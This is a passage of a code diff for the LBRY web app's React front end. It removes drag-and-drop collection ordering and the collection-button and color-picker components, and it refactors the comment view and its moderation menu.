||||
}
|
||||
body={
|
||||
<DragDropContext onDragEnd={handleOnDragEnd}>
|
||||
<Droppable droppableId="list__ordering">
|
||||
{(DroppableProvided) => (
|
||||
<ClaimList
|
||||
isCardBody
|
||||
type="small"
|
||||
activeUri={url}
|
||||
uris={collectionUrls}
|
||||
collectionId={id}
|
||||
empty={__('List is Empty')}
|
||||
showEdit={showEdit}
|
||||
droppableProvided={DroppableProvided}
|
||||
/>
|
||||
)}
|
||||
</Droppable>
|
||||
</DragDropContext>
|
||||
<ClaimList
|
||||
isCardBody
|
||||
type="small"
|
||||
activeUri={url}
|
||||
uris={collectionUrls}
|
||||
collectionId={id}
|
||||
empty={__('List is Empty')}
|
||||
/>
|
||||
}
|
||||
/>
|
||||
);
|
||||
|
||||
@@ -22,7 +22,6 @@ import * as ACTIONS from 'constants/action_types';
|
||||
import CollectionForm from './view';
|
||||
import { selectActiveChannelClaim, selectIncognito } from 'redux/selectors/app';
|
||||
import { doSetActiveChannel, doSetIncognito } from 'redux/actions/app';
|
||||
import { doCollectionEdit } from 'redux/actions/collections';
|
||||
|
||||
const select = (state, props) => ({
|
||||
claim: makeSelectClaimForUri(props.uri)(state),
|
||||
@@ -45,13 +44,12 @@ const select = (state, props) => ({
|
||||
collectionClaimIds: makeSelectClaimIdsForCollectionId(props.collectionId)(state),
|
||||
});
|
||||
|
||||
const perform = (dispatch, ownProps) => ({
|
||||
const perform = (dispatch) => ({
|
||||
publishCollectionUpdate: (params) => dispatch(doCollectionPublishUpdate(params)),
|
||||
publishCollection: (params, collectionId) => dispatch(doCollectionPublish(params, collectionId)),
|
||||
clearCollectionErrors: () => dispatch({ type: ACTIONS.CLEAR_COLLECTION_ERRORS }),
|
||||
setActiveChannel: (claimId) => dispatch(doSetActiveChannel(claimId)),
|
||||
setIncognito: (incognito) => dispatch(doSetIncognito(incognito)),
|
||||
doCollectionEdit: (params) => dispatch(doCollectionEdit(ownProps.collectionId, params)),
|
||||
});
|
||||
|
||||
export default connect(select, perform)(CollectionForm);
|
||||
@@ -1,7 +1,4 @@
|
||||
// @flow
|
||||
|
||||
// $FlowFixMe
|
||||
import { DragDropContext, Droppable } from 'react-beautiful-dnd';
|
||||
import React from 'react';
|
||||
import classnames from 'classnames';
|
||||
import Button from 'component/button';
|
||||
@@ -57,7 +54,6 @@ type Props = {
|
||||
onDone: (string) => void,
|
||||
setActiveChannel: (string) => void,
|
||||
setIncognito: (boolean) => void,
|
||||
doCollectionEdit: (CollectionEditParams) => void,
|
||||
};
|
||||
|
||||
function CollectionForm(props: Props) {
|
||||
@@ -91,7 +87,6 @@ function CollectionForm(props: Props) {
|
||||
setActiveChannel,
|
||||
setIncognito,
|
||||
onDone,
|
||||
doCollectionEdit,
|
||||
} = props;
|
||||
const activeChannelName = activeChannelClaim && activeChannelClaim.name;
|
||||
let prefix = 'lbry://';
|
||||
@@ -201,17 +196,6 @@ function CollectionForm(props: Props) {
|
||||
return collectionParams;
|
||||
}
|
||||
|
||||
function handleOnDragEnd(result) {
|
||||
const { source, destination } = result;
|
||||
|
||||
if (!destination) return;
|
||||
|
||||
const { index: from } = source;
|
||||
const { index: to } = destination;
|
||||
|
||||
doCollectionEdit({ order: { from, to } });
|
||||
}
|
||||
|
||||
function handleLanguageChange(index, code) {
|
||||
let langs = [...languageParam];
|
||||
if (index === 0) {
|
||||
@@ -273,18 +257,12 @@ function CollectionForm(props: Props) {
|
||||
|
||||
// on mount, if we get a collectionChannel, set it.
|
||||
React.useEffect(() => {
|
||||
if (!initialized) {
|
||||
if (hasClaim) {
|
||||
if (collectionChannel) {
|
||||
setActiveChannel(collectionChannel);
|
||||
setIncognito(false);
|
||||
} else if (!collectionChannel && hasClaim) {
|
||||
setIncognito(true);
|
||||
}
|
||||
} else {
|
||||
if (incognito) {
|
||||
setIncognito(true);
|
||||
}
|
||||
if (hasClaim && !initialized) {
|
||||
if (collectionChannel) {
|
||||
setActiveChannel(collectionChannel);
|
||||
setIncognito(false);
|
||||
} else if (!collectionChannel && hasClaim) {
|
||||
setIncognito(true);
|
||||
}
|
||||
setInitialized(true);
|
||||
}
|
||||
@@ -293,10 +271,9 @@ function CollectionForm(props: Props) {
|
||||
// every time activechannel or incognito changes, set it.
|
||||
React.useEffect(() => {
|
||||
if (initialized) {
|
||||
if (activeChannelId && !incognito) {
|
||||
if (activeChannelId) {
|
||||
setParam({ channel_id: activeChannelId });
|
||||
}
|
||||
if (incognito) {
|
||||
} else if (incognito) {
|
||||
setParam({ channel_id: undefined });
|
||||
}
|
||||
}
|
||||
@@ -309,6 +286,7 @@ function CollectionForm(props: Props) {
|
||||
}
|
||||
}, [uri, hasClaim]);
|
||||
|
||||
console.log('params', params);
|
||||
return (
|
||||
<>
|
||||
<div className={classnames('main--contained', { 'card--disabled': disabled })}>
|
||||
@@ -379,19 +357,12 @@ function CollectionForm(props: Props) {
|
||||
</div>
|
||||
</TabPanel>
|
||||
<TabPanel>
|
||||
<DragDropContext onDragEnd={handleOnDragEnd}>
|
||||
<Droppable droppableId="list__ordering">
|
||||
{(DroppableProvided) => (
|
||||
<ClaimList
|
||||
uris={collectionUrls}
|
||||
collectionId={collectionId}
|
||||
empty={__('This list has no items.')}
|
||||
showEdit
|
||||
droppableProvided={DroppableProvided}
|
||||
/>
|
||||
)}
|
||||
</Droppable>
|
||||
</DragDropContext>
|
||||
<ClaimList
|
||||
uris={collectionUrls}
|
||||
collectionId={collectionId}
|
||||
empty={__('This list has no items.')}
|
||||
type={'listview'}
|
||||
/>
|
||||
</TabPanel>
|
||||
<TabPanel>
|
||||
<Card
|
||||
|
||||
@@ -1,23 +0,0 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { doCollectionEdit } from 'redux/actions/collections';
|
||||
import { makeSelectIndexForUrlInCollection, makeSelectUrlsForCollectionId } from 'redux/selectors/collections';
|
||||
import CollectionButtons from './view';
|
||||
|
||||
const select = (state, props) => {
|
||||
const { uri, collectionId } = props;
|
||||
|
||||
return {
|
||||
collectionIndex: makeSelectIndexForUrlInCollection(uri, collectionId, true)(state),
|
||||
collectionUris: makeSelectUrlsForCollectionId(collectionId)(state),
|
||||
};
|
||||
};
|
||||
|
||||
const perform = (dispatch, ownProps) => {
|
||||
const { collectionId } = ownProps;
|
||||
|
||||
return {
|
||||
editCollection: (params) => dispatch(doCollectionEdit(collectionId, params)),
|
||||
};
|
||||
};
|
||||
|
||||
export default connect(select, perform)(CollectionButtons);
|
||||
@@ -1,92 +0,0 @@
|
||||
// @flow
|
||||
import * as ICONS from 'constants/icons';
|
||||
import Button from 'component/button';
|
||||
import Icon from 'component/common/icon';
|
||||
import React from 'react';
|
||||
|
||||
type Props = {
|
||||
collectionIndex?: number,
|
||||
collectionUris: Array<Collection>,
|
||||
dragHandleProps?: any,
|
||||
uri: string,
|
||||
editCollection: (CollectionEditParams) => void,
|
||||
};
|
||||
|
||||
export default function CollectionButtons(props: Props) {
|
||||
const { collectionIndex: foundIndex, collectionUris, dragHandleProps, uri, editCollection } = props;
|
||||
|
||||
const [confirmDelete, setConfirmDelete] = React.useState(false);
|
||||
|
||||
const lastCollectionIndex = collectionUris ? collectionUris.length - 1 : 0;
|
||||
const collectionIndex = Number(foundIndex);
|
||||
|
||||
const orderButton = (className: string, title: string, icon: string, disabled: boolean, handleClick?: () => void) => (
|
||||
<Button
|
||||
className={`button-collection-manage ${className}`}
|
||||
icon={icon}
|
||||
title={title}
|
||||
disabled={disabled}
|
||||
onClick={() => handleClick && handleClick()}
|
||||
/>
|
||||
);
|
||||
|
||||
return (
|
||||
<div
|
||||
className="collection-preview__edit-buttons"
|
||||
onClick={(e) => {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
}}
|
||||
>
|
||||
<div className="collection-preview__edit-group" {...dragHandleProps}>
|
||||
<div className="button-collection-manage button-collection-drag top-left bottom-left">
|
||||
<Icon icon={ICONS.DRAG} title={__('Drag')} size={20} />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="collection-preview__edit-group">
|
||||
{orderButton('', __('Move Top'), ICONS.UP_TOP, collectionIndex === 0, () =>
|
||||
editCollection({ order: { from: collectionIndex, to: 0 } })
|
||||
)}
|
||||
|
||||
{orderButton('', __('Move Bottom'), ICONS.DOWN_BOTTOM, collectionIndex === lastCollectionIndex, () =>
|
||||
editCollection({ order: { from: collectionIndex, to: lastCollectionIndex } })
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="collection-preview__edit-group">
|
||||
{orderButton('', __('Move Up'), ICONS.UP, collectionIndex === 0, () =>
|
||||
editCollection({ order: { from: collectionIndex, to: collectionIndex - 1 } })
|
||||
)}
|
||||
|
||||
{orderButton('', __('Move Down'), ICONS.DOWN, collectionIndex === lastCollectionIndex, () =>
|
||||
editCollection({ order: { from: collectionIndex, to: collectionIndex + 1 } })
|
||||
)}
|
||||
</div>
|
||||
|
||||
{!confirmDelete ? (
|
||||
<div className="collection-preview__edit-group collection-preview__delete ">
|
||||
<Button
|
||||
className="button-collection-manage button-collection-delete top-right bottom-right"
|
||||
icon={ICONS.DELETE}
|
||||
title={__('Remove')}
|
||||
onClick={() => setConfirmDelete(true)}
|
||||
/>
|
||||
</div>
|
||||
) : (
|
||||
<div className="collection-preview__edit-group collection-preview__delete">
|
||||
<Button
|
||||
className="button-collection-manage button-collection-delete-cancel top-right"
|
||||
icon={ICONS.REMOVE}
|
||||
title={__('Cancel')}
|
||||
onClick={() => setConfirmDelete(false)}
|
||||
/>
|
||||
|
||||
{orderButton('button-collection-delete-confirm bottom-right', __('Remove'), ICONS.DELETE, false, () =>
|
||||
editCollection({ uris: [uri], remove: true })
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -5,12 +5,10 @@ import { doCollectionEdit } from 'redux/actions/collections';
|
||||
import CollectionSelectItem from './view';
|
||||
|
||||
const select = (state, props) => {
|
||||
const { collectionId, uri } = props;
|
||||
|
||||
return {
|
||||
collection: makeSelectCollectionForId(collectionId)(state),
|
||||
hasClaim: makeSelectCollectionForIdHasClaimUrl(collectionId, uri)(state),
|
||||
collectionPending: makeSelectClaimIsPending(collectionId)(state),
|
||||
collection: makeSelectCollectionForId(props.collectionId)(state),
|
||||
hasClaim: makeSelectCollectionForIdHasClaimUrl(props.collectionId, props.uri)(state),
|
||||
collectionPending: makeSelectClaimIsPending(props.collectionId)(state),
|
||||
};
|
||||
};
|
||||
|
||||
|
||||
@@ -11,15 +11,15 @@ type Props = {
|
||||
category: string,
|
||||
edited: boolean,
|
||||
editCollection: (string, CollectionEditParams) => void,
|
||||
uri: string,
|
||||
claim: Claim,
|
||||
collectionPending: Collection,
|
||||
};
|
||||
|
||||
function CollectionSelectItem(props: Props) {
|
||||
const { collection, hasClaim, category, editCollection, uri, collectionPending } = props;
|
||||
const { collection, hasClaim, category, editCollection, claim, collectionPending } = props;
|
||||
const { name, id } = collection;
|
||||
const handleChange = (e) => {
|
||||
editCollection(id, { uris: [uri], remove: hasClaim });
|
||||
editCollection(id, { claims: [claim], remove: hasClaim });
|
||||
};
|
||||
|
||||
let icon;
|
||||
|
||||
@@ -1,6 +0,0 @@
|
||||
import { connect } from 'react-redux';
|
||||
import ColorPicker from './view';
|
||||
|
||||
const select = (state) => ({});
|
||||
|
||||
export default connect(select)(ColorPicker);
|
||||
@@ -1,63 +0,0 @@
|
||||
// @flow
|
||||
'use strict';
|
||||
|
||||
import React, { useState } from 'react';
|
||||
import reactCSS from 'reactcss';
|
||||
import { SketchPicker } from 'react-color';
|
||||
import classNames from 'classnames';
|
||||
import { changeColor, getPrimaryColor } from 'util/theme';
|
||||
|
||||
type Props = {
|
||||
disabled?: boolean,
|
||||
};
|
||||
|
||||
function ColorPicker(props: Props) {
|
||||
const { disabled } = props;
|
||||
const [displayColorPicker, toggleDisplayColorPicker] = useState(false);
|
||||
let dynamic = getPrimaryColor();
|
||||
var rgb = dynamic.replace(/\s/g, '').match(/^rgba?\((\d+),(\d+),(\d+),?([^,\s)]+)?/i);
|
||||
var hex = rgb
|
||||
? (rgb[1] | (1 << 8)).toString(16).slice(1) +
|
||||
(rgb[2] | (1 << 8)).toString(16).slice(1) +
|
||||
(rgb[3] | (1 << 8)).toString(16).slice(1)
|
||||
: dynamic;
|
||||
const [color, setColor] = useState({
|
||||
hex: '#' + hex,
|
||||
rgb: { r: parseInt(rgb[1]), g: parseInt(rgb[2]), b: parseInt(rgb[3]), a: 1 },
|
||||
});
|
||||
|
||||
const styles = reactCSS({
|
||||
default: {
|
||||
color: {
|
||||
background: `rgba(${color.rgb.r}, ${color.rgb.g}, ${color.rgb.b}, ${color.rgb.a})`,
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
function handleChange(color) {
|
||||
console.log('Color: ', color);
|
||||
changeColor(color.rgb);
|
||||
setColor(color);
|
||||
}
|
||||
|
||||
return (
|
||||
<div
|
||||
className={classNames('color-picker', {
|
||||
disabled: disabled,
|
||||
})}
|
||||
>
|
||||
<input value={color.hex} />
|
||||
<div className="swatch" onClick={() => toggleDisplayColorPicker(!displayColorPicker)}>
|
||||
<div className="color" style={styles.color} />
|
||||
</div>
|
||||
{displayColorPicker ? (
|
||||
<div className="popover">
|
||||
<div className="cover" onClick={() => toggleDisplayColorPicker(false)} />
|
||||
<SketchPicker color={color} onChange={handleChange} disableAlpha />
|
||||
</div>
|
||||
) : null}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default ColorPicker;
|
||||
@@ -1,16 +1,14 @@
|
||||
import { connect } from 'react-redux';
|
||||
import {
|
||||
selectStakedLevelForChannelUri,
|
||||
selectTotalStakedAmountForChannelUri,
|
||||
makeSelectClaimForUri,
|
||||
selectThumbnailForUri,
|
||||
selectHasChannels,
|
||||
selectMyClaimIdsRaw,
|
||||
} from 'redux/selectors/claims';
|
||||
import { doCommentUpdate, doCommentList } from 'redux/actions/comments';
|
||||
import { makeSelectChannelIsMuted } from 'redux/selectors/blocked';
|
||||
import { doToast } from 'redux/actions/notifications';
|
||||
import { doClearPlayingUri } from 'redux/actions/content';
|
||||
import { selectUserVerifiedEmail } from 'redux/selectors/user';
|
||||
import { doSetPlayingUri } from 'redux/actions/content';
|
||||
import {
|
||||
selectLinkedCommentAncestors,
|
||||
selectOthersReactsForComment,
|
||||
@@ -21,34 +19,31 @@ import { selectPlayingUri } from 'redux/selectors/content';
|
||||
import Comment from './view';
|
||||
|
||||
const select = (state, props) => {
|
||||
const { comment, uri } = props;
|
||||
const { comment_id, author_uri } = comment || {};
|
||||
|
||||
const activeChannelClaim = selectActiveChannelClaim(state);
|
||||
const activeChannelId = activeChannelClaim && activeChannelClaim.claim_id;
|
||||
const reactionKey = activeChannelId ? `${comment_id}:${activeChannelId}` : comment_id;
|
||||
const reactionKey = activeChannelId ? `${props.commentId}:${activeChannelId}` : props.commentId;
|
||||
|
||||
return {
|
||||
myChannelIds: selectMyClaimIdsRaw(state),
|
||||
claim: makeSelectClaimForUri(uri)(state),
|
||||
thumbnail: author_uri && selectThumbnailForUri(state, author_uri),
|
||||
channelIsBlocked: author_uri && makeSelectChannelIsMuted(author_uri)(state),
|
||||
commentingEnabled: IS_WEB ? Boolean(selectUserVerifiedEmail(state)) : true,
|
||||
claim: makeSelectClaimForUri(props.uri)(state),
|
||||
thumbnail: props.authorUri && selectThumbnailForUri(state, props.authorUri),
|
||||
channelIsBlocked: props.authorUri && makeSelectChannelIsMuted(props.authorUri)(state),
|
||||
commentingEnabled: true,
|
||||
othersReacts: selectOthersReactsForComment(state, reactionKey),
|
||||
activeChannelClaim,
|
||||
hasChannels: selectHasChannels(state),
|
||||
playingUri: selectPlayingUri(state),
|
||||
stakedLevel: selectStakedLevelForChannelUri(state, author_uri),
|
||||
stakedLevel: selectTotalStakedAmountForChannelUri(state, props.authorUri),
|
||||
linkedCommentAncestors: selectLinkedCommentAncestors(state),
|
||||
totalReplyPages: makeSelectTotalReplyPagesForParentId(comment_id)(state),
|
||||
totalReplyPages: makeSelectTotalReplyPagesForParentId(props.commentId)(state),
|
||||
};
|
||||
};
|
||||
|
||||
const perform = {
|
||||
doClearPlayingUri,
|
||||
doCommentUpdate,
|
||||
fetchReplies: doCommentList,
|
||||
doToast,
|
||||
};
|
||||
const perform = (dispatch) => ({
|
||||
clearPlayingUri: () => dispatch(doSetPlayingUri({ uri: null })),
|
||||
updateComment: (commentId, comment) => dispatch(doCommentUpdate(commentId, comment)),
|
||||
fetchReplies: (uri, parentId, page, pageSize, sortBy) =>
|
||||
dispatch(doCommentList(uri, parentId, page, pageSize, sortBy)),
|
||||
doToast: (options) => dispatch(doToast(options)),
|
||||
});
|
||||
|
||||
export default connect(select, perform)(Comment);
|
||||
@@ -12,7 +12,7 @@ import DateTime from 'component/dateTime';
|
||||
import Button from 'component/button';
|
||||
import Expandable from 'component/expandable';
|
||||
import MarkdownPreview from 'component/common/markdown-preview';
|
||||
import CommentBadge from 'component/common/comment-badge'; // have this?
|
||||
import Tooltip from 'component/common/tooltip';
|
||||
import ChannelThumbnail from 'component/channelThumbnail';
|
||||
import { Menu, MenuButton } from '@reach/menu-button';
|
||||
import Icon from 'component/common/icon';
|
||||
@@ -27,21 +27,23 @@ import CommentMenuList from 'component/commentMenuList';
|
||||
import UriIndicator from 'component/uriIndicator';
|
||||
import CreditAmount from 'component/common/credit-amount';
|
||||
import OptimizedImage from 'component/optimizedImage';
|
||||
import { getChannelFromClaim } from 'util/claim';
|
||||
import { parseSticker } from 'util/comments';
|
||||
import { useIsMobile } from 'effects/use-screensize';
|
||||
|
||||
const AUTO_EXPAND_ALL_REPLIES = false;
|
||||
|
||||
type Props = {
|
||||
comment: Comment,
|
||||
myChannelIds: ?Array<string>,
|
||||
clearPlayingUri: () => void,
|
||||
uri: string,
|
||||
claim: StreamClaim,
|
||||
author: ?string, // LBRY Channel Name, e.g. @channel
|
||||
authorUri: string, // full LBRY Channel URI: lbry://@channel#123...
|
||||
commentId: string, // sha256 digest identifying the comment
|
||||
message: string, // comment body
|
||||
timePosted: number, // Comment timestamp
|
||||
channelIsBlocked: boolean, // if the channel is blacklisted in the app
|
||||
claimIsMine: boolean, // if you control the claim which this comment was posted on
|
||||
doCommentUpdate: (string, string) => void,
|
||||
commentIsMine: boolean, // if this comment was signed by an owned channel
|
||||
updateComment: (string, string) => void,
|
||||
fetchReplies: (string, string, number, number, number) => void,
|
||||
totalReplyPages: number,
|
||||
commentModBlock: (string) => void,
|
||||
@@ -53,6 +55,7 @@ type Props = {
|
||||
isTopLevel?: boolean,
|
||||
threadDepth: number,
|
||||
hideActions?: boolean,
|
||||
isPinned: boolean,
|
||||
othersReacts: ?{
|
||||
like: number,
|
||||
dislike: number,
|
||||
@@ -61,6 +64,11 @@ type Props = {
|
||||
activeChannelClaim: ?ChannelClaim,
|
||||
playingUri: ?PlayingUri,
|
||||
stakedLevel: number,
|
||||
supportAmount: number,
|
||||
numDirectReplies: number,
|
||||
isModerator: boolean,
|
||||
isGlobalMod: boolean,
|
||||
isFiat: boolean,
|
||||
supportDisabled: boolean,
|
||||
setQuickReply: (any) => void,
|
||||
quickReply: any,
|
||||
@@ -68,15 +76,19 @@ type Props = {
|
||||
|
||||
const LENGTH_TO_COLLAPSE = 300;
|
||||
|
||||
function CommentView(props: Props) {
|
||||
function Comment(props: Props) {
|
||||
const {
|
||||
comment,
|
||||
myChannelIds,
|
||||
clearPlayingUri,
|
||||
claim,
|
||||
uri,
|
||||
author,
|
||||
authorUri,
|
||||
timePosted,
|
||||
message,
|
||||
channelIsBlocked,
|
||||
doCommentUpdate,
|
||||
commentIsMine,
|
||||
commentId,
|
||||
updateComment,
|
||||
fetchReplies,
|
||||
totalReplyPages,
|
||||
linkedCommentId,
|
||||
@@ -87,61 +99,39 @@ function CommentView(props: Props) {
|
||||
isTopLevel,
|
||||
threadDepth,
|
||||
hideActions,
|
||||
isPinned,
|
||||
othersReacts,
|
||||
playingUri,
|
||||
stakedLevel,
|
||||
supportAmount,
|
||||
numDirectReplies,
|
||||
isModerator,
|
||||
isGlobalMod,
|
||||
isFiat,
|
||||
supportDisabled,
|
||||
setQuickReply,
|
||||
quickReply,
|
||||
} = props;
|
||||
|
||||
const {
|
||||
channel_url: authorUri,
|
||||
channel_name: author,
|
||||
channel_id: channelId,
|
||||
comment_id: commentId,
|
||||
comment: message,
|
||||
is_fiat: isFiat,
|
||||
is_global_mod: isGlobalMod,
|
||||
is_moderator: isModerator,
|
||||
is_pinned: isPinned,
|
||||
support_amount: supportAmount,
|
||||
replies: numDirectReplies,
|
||||
timestamp,
|
||||
} = comment;
|
||||
|
||||
const timePosted = timestamp * 1000;
|
||||
const commentIsMine = channelId && myChannelIds && myChannelIds.includes(channelId);
|
||||
|
||||
const isMobile = useIsMobile();
|
||||
|
||||
const {
|
||||
push,
|
||||
replace,
|
||||
location: { pathname, search },
|
||||
} = useHistory();
|
||||
|
||||
const isLinkedComment = linkedCommentId && linkedCommentId === commentId;
|
||||
const isInLinkedCommentChain =
|
||||
linkedCommentId &&
|
||||
linkedCommentAncestors[linkedCommentId] &&
|
||||
linkedCommentAncestors[linkedCommentId].includes(commentId);
|
||||
const showRepliesOnMount = isInLinkedCommentChain || AUTO_EXPAND_ALL_REPLIES;
|
||||
|
||||
const [isReplying, setReplying] = React.useState(false);
|
||||
const [isEditing, setEditing] = useState(false);
|
||||
const [editedMessage, setCommentValue] = useState(message);
|
||||
const [charCount, setCharCount] = useState(editedMessage.length);
|
||||
const [showReplies, setShowReplies] = useState(showRepliesOnMount); // on mount
|
||||
const [page, setPage] = useState(showRepliesOnMount ? 1 : 0);
|
||||
const [showReplies, setShowReplies] = useState(false);
|
||||
const [page, setPage] = useState(0);
|
||||
const [advancedEditor] = usePersistedState('comment-editor-mode', false);
|
||||
const [displayDeadComment, setDisplayDeadComment] = React.useState(false);
|
||||
const likesCount = (othersReacts && othersReacts.like) || 0;
|
||||
const dislikesCount = (othersReacts && othersReacts.dislike) || 0;
|
||||
const totalLikesAndDislikes = likesCount + dislikesCount;
|
||||
const slimedToDeath = totalLikesAndDislikes >= 5 && dislikesCount / totalLikesAndDislikes > 0.8;
|
||||
const contentChannelClaim = getChannelFromClaim(claim);
|
||||
const commentByOwnerOfContent = contentChannelClaim && contentChannelClaim.permanent_url === authorUri;
|
||||
const commentByOwnerOfContent = claim && claim.signing_channel && claim.signing_channel.permanent_url === authorUri;
|
||||
const stickerFromMessage = parseSticker(message);
|
||||
|
||||
let channelOwnerOfContent;
|
||||
@@ -152,6 +142,19 @@ function CommentView(props: Props) {
|
||||
}
|
||||
} catch (e) {}
|
||||
|
||||
// Auto-expand (limited to linked-comments for now, but can be for all)
|
||||
useEffect(() => {
|
||||
const isInLinkedCommentChain =
|
||||
linkedCommentId &&
|
||||
linkedCommentAncestors[linkedCommentId] &&
|
||||
linkedCommentAncestors[linkedCommentId].includes(commentId);
|
||||
|
||||
if (isInLinkedCommentChain || AUTO_EXPAND_ALL_REPLIES) {
|
||||
setShowReplies(true);
|
||||
setPage(1);
|
||||
}
|
||||
}, []); // eslint-disable-line react-hooks/exhaustive-deps
|
||||
|
||||
useEffect(() => {
|
||||
if (isEditing) {
|
||||
setCharCount(editedMessage.length);
|
||||
@@ -190,7 +193,7 @@ function CommentView(props: Props) {
|
||||
}
|
||||
|
||||
function handleSubmit() {
|
||||
doCommentUpdate(commentId, editedMessage);
|
||||
updateComment(commentId, editedMessage);
|
||||
if (setQuickReply) setQuickReply({ ...quickReply, comment_id: commentId, comment: editedMessage });
|
||||
setEditing(false);
|
||||
}
|
||||
@@ -211,34 +214,6 @@ function CommentView(props: Props) {
|
||||
replace(`${pathname}?${urlParams.toString()}`);
|
||||
}
|
||||
|
||||
// find a way to enable linked comments - probably use share url.
|
||||
// const linkedCommentRef = React.useCallback(
|
||||
// (node) => {
|
||||
// if (node !== null && window.pendingLinkedCommentScroll) {
|
||||
// const ROUGH_HEADER_HEIGHT = 125; // @see: --header-height
|
||||
// delete window.pendingLinkedCommentScroll;
|
||||
//
|
||||
// const mobileChatElem = document.querySelector('.MuiPaper-root .card--enable-overflow');
|
||||
// const drawerElem = document.querySelector('.MuiDrawer-root');
|
||||
// const elem = (isMobile && mobileChatElem) || window;
|
||||
//
|
||||
// if (elem) {
|
||||
// // $FlowFixMe
|
||||
// elem.scrollTo({
|
||||
// top:
|
||||
// node.getBoundingClientRect().top +
|
||||
// // $FlowFixMe
|
||||
// (mobileChatElem && drawerElem ? drawerElem.getBoundingClientRect().top * -1 : elem.scrollY) -
|
||||
// ROUGH_HEADER_HEIGHT,
|
||||
// left: 0,
|
||||
// behavior: 'smooth',
|
||||
// });
|
||||
// }
|
||||
// }
|
||||
// },
|
||||
// [isMobile]
|
||||
// );
|
||||
|
||||
return (
|
||||
<li
|
||||
className={classnames('comment', {
|
||||
@@ -250,7 +225,7 @@ function CommentView(props: Props) {
|
||||
>
|
||||
<div
|
||||
className={classnames('comment__content', {
|
||||
[COMMENT_HIGHLIGHTED]: isLinkedComment,
|
||||
[COMMENT_HIGHLIGHTED]: linkedCommentId && linkedCommentId === commentId,
|
||||
'comment--slimed': slimedToDeath && !displayDeadComment,
|
||||
})}
|
||||
>
|
||||
@@ -265,8 +240,21 @@ function CommentView(props: Props) {
|
||||
<div className="comment__body-container">
|
||||
<div className="comment__meta">
|
||||
<div className="comment__meta-information">
|
||||
{isGlobalMod && <CommentBadge label={__('Admin')} icon={ICONS.BADGE_MOD} />}
|
||||
{isModerator && <CommentBadge label={__('Moderator')} icon={ICONS.BADGE_MOD} />}
|
||||
{isGlobalMod && (
|
||||
<Tooltip label={__('Admin')}>
|
||||
<span className="comment__badge comment__badge--global-mod">
|
||||
<Icon icon={ICONS.BADGE_MOD} size={20} />
|
||||
</span>
|
||||
</Tooltip>
|
||||
)}
|
||||
|
||||
{isModerator && (
|
||||
<Tooltip label={__('Moderator')}>
|
||||
<span className="comment__badge comment__badge--mod">
|
||||
<Icon icon={ICONS.BADGE_MOD} size={20} />
|
||||
</span>
|
||||
</Tooltip>
|
||||
)}
|
||||
|
||||
{!author ? (
|
||||
<span className="comment__author">{__('Anonymous')}</span>
|
||||
@@ -326,7 +314,6 @@ function CommentView(props: Props) {
|
||||
charCount={charCount}
|
||||
onChange={handleEditMessageChanged}
|
||||
textAreaMaxLength={FF_MAX_CHARS_IN_COMMENT}
|
||||
handleSubmit={handleSubmit}
|
||||
/>
|
||||
<div className="section__actions section__actions--no-margin">
|
||||
<Button button="primary" type="submit" label={__('Done')} disabled={message === editedMessage} />
|
||||
@@ -371,7 +358,6 @@ function CommentView(props: Props) {
|
||||
className="comment__action"
|
||||
onClick={handleCommentReply}
|
||||
icon={ICONS.REPLY}
|
||||
iconSize={isMobile && 12}
|
||||
/>
|
||||
)}
|
||||
{ENABLE_COMMENT_REACTIONS && <CommentReactions uri={uri} commentId={commentId} />}
|
||||
@@ -445,4 +431,4 @@ function CommentView(props: Props) {
|
||||
);
|
||||
}
|
||||
|
||||
export default CommentView;
|
||||
export default Comment;
|
||||
@@ -61,6 +61,7 @@ function CommentMenuList(props: Props) {
|
||||
|
||||
const contentChannelClaim = getChannelFromClaim(claim);
|
||||
const contentChannelPermanentUrl = contentChannelClaim && contentChannelClaim.permanent_url;
|
||||
|
||||
const activeModeratorInfo = activeChannelClaim && moderationDelegatorsById[activeChannelClaim.claim_id];
|
||||
const activeChannelIsCreator = activeChannelClaim && activeChannelClaim.permanent_url === contentChannelPermanentUrl;
|
||||
const activeChannelIsAdmin = activeChannelClaim && activeModeratorInfo && activeModeratorInfo.global;
|
||||
@@ -74,10 +75,12 @@ function CommentMenuList(props: Props) {
|
||||
if (playingUri && playingUri.source === 'comment') {
|
||||
clearPlayingUri();
|
||||
}
|
||||
|
||||
openModal(MODALS.CONFIRM_REMOVE_COMMENT, {
|
||||
commentId,
|
||||
commentIsMine,
|
||||
contentChannelPermanentUrl,
|
||||
deleterClaim: activeChannelClaim,
|
||||
deleterIsModOrAdmin: activeChannelIsAdmin || activeChannelIsModerator,
|
||||
creatorClaim: commentIsMine ? undefined : contentChannelClaim,
|
||||
supportAmount,
|
||||
setQuickReply,
|
||||
});
|
||||
@@ -182,7 +185,9 @@ function CommentMenuList(props: Props) {
|
||||
|
||||
{!disableRemove &&
|
||||
activeChannelClaim &&
|
||||
(activeChannelClaim.permanent_url === authorUri ||
|
||||
(activeChannelIsModerator ||
|
||||
activeChannelIsAdmin ||
|
||||
activeChannelClaim.permanent_url === authorUri ||
|
||||
activeChannelClaim.permanent_url === contentChannelPermanentUrl) && (
|
||||
<MenuItem className="comment__menu-option" onSelect={handleDeleteComment}>
|
||||
<div className="menu__link">
|
||||
@@ -196,7 +201,13 @@ function CommentMenuList(props: Props) {
|
||||
<>
|
||||
<MenuItem
|
||||
className="comment__menu-option"
|
||||
onSelect={() => openModal(MODALS.BLOCK_CHANNEL, { contentUri: uri, commenterUri: authorUri })}
|
||||
onSelect={() =>
|
||||
openModal(MODALS.BLOCK_CHANNEL, {
|
||||
contentUri: uri,
|
||||
commenterUri: authorUri,
|
||||
offendingCommentId: commentId,
|
||||
})
|
||||
}
|
||||
>
|
||||
{getBlockOptionElem()}
|
||||
</MenuItem>
|
||||
|
||||
@@ -8,7 +8,6 @@ import classnames from 'classnames';
|
||||
import Button from 'component/button';
|
||||
import ChannelThumbnail from 'component/channelThumbnail';
|
||||
import { useHistory } from 'react-router';
|
||||
import { useIsMobile } from 'effects/use-screensize';
|
||||
|
||||
type Props = {
|
||||
myReacts: Array<string>,
|
||||
@@ -44,8 +43,6 @@ export default function CommentReactions(props: Props) {
|
||||
location: { pathname },
|
||||
} = useHistory();
|
||||
|
||||
